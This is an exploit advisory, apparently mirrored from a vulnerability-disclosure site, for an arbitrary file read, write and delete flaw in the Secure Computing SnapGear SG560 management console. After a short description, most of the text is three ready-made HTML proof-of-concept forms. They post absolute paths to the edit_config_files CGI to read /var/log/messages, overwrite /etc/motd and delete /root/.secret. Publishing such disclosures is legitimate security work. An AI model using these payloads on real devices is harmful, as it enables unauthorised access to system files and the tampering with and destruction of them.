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## https://sploitus.com/exploit?id=PACKETSTORM:157939
Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write  
  
  
Vendor: Secure Computing Corp.  
Product web page: http://www.securecomputing.com  
Affected version: 3.1.5u1  
  
Summary: The SG gateway appliance range provides Internet security and  
privacy of communications for small and medium enterprises, and branch   
offices. It simply and securely connects your office to the Internet,  
and with its robust stateful firewall, shields your computers from  
external threats.  
  
Desc: The application allows the currently logged-in user to edit the  
configuration files in the system using the CGI executable 'edit_config_files'  
in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete)  
are located in the /etc/config/ directory. An attacker can manipulate  
the POST request parameters to escape from the restricted environment  
by using absolute path and start reading, writing and deleting arbitrary  
files on the system.  
  
Tested on: fnord/1.9  
Apache 1.3.27 (Unix)  
Linux 2.4.31  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5568  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php  
  
  
14.05.2020  
  
--  
  
  
Read:  
-----  
<html>  
<body>  
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">  
<input type="hidden" name=".form" value="choices" />  
<input type="hidden" name=".page" value="select_file" />  
<input type="hidden" name="name$1337" value="/var/log/messages" />  
<input type="hidden" name="modify$1337" value="1" />  
<input type="hidden" name=".defaultname" value="newitem" />  
<input type="submit" value="Read" />  
</form>  
</body>  
</html>  
  
  
Write/overwrite/move:  
---------------------  
<html>  
<body>  
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">  
<input type="hidden" name=".form" value="edit" />  
<input type="hidden" name=".page" value="edit_file" />  
<input type="hidden" name="enabled$0" value="" />  
<input type="hidden" name="name$0" value="/etc/motd" />  
<input type="hidden" name="mode$0" value="" />  
<input type="hidden" name="filename" value="/etc/motd" />  
<input type="hidden" name="filecontents" value="pwned" />  
<input type="hidden" name="finish" value="Finish" />  
<input type="hidden" name=".defaultname" value="finish" />  
<input type="submit" value="Write" />  
</form>  
</body>  
</html>  
  
  
Delete:  
-------  
<html>  
<body>  
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">  
<input type="hidden" name=".form" value="choices" />  
<input type="hidden" name=".page" value="select_file" />  
<input type="hidden" name="name$251" value="/root/.secret" />  
<input type="hidden" name="delete$251" value="1" />  
<input type="hidden" name=".defaultname" value="newitem" />  
<input type="submit" value="Delete" />  
</form>  
</body>  
</html>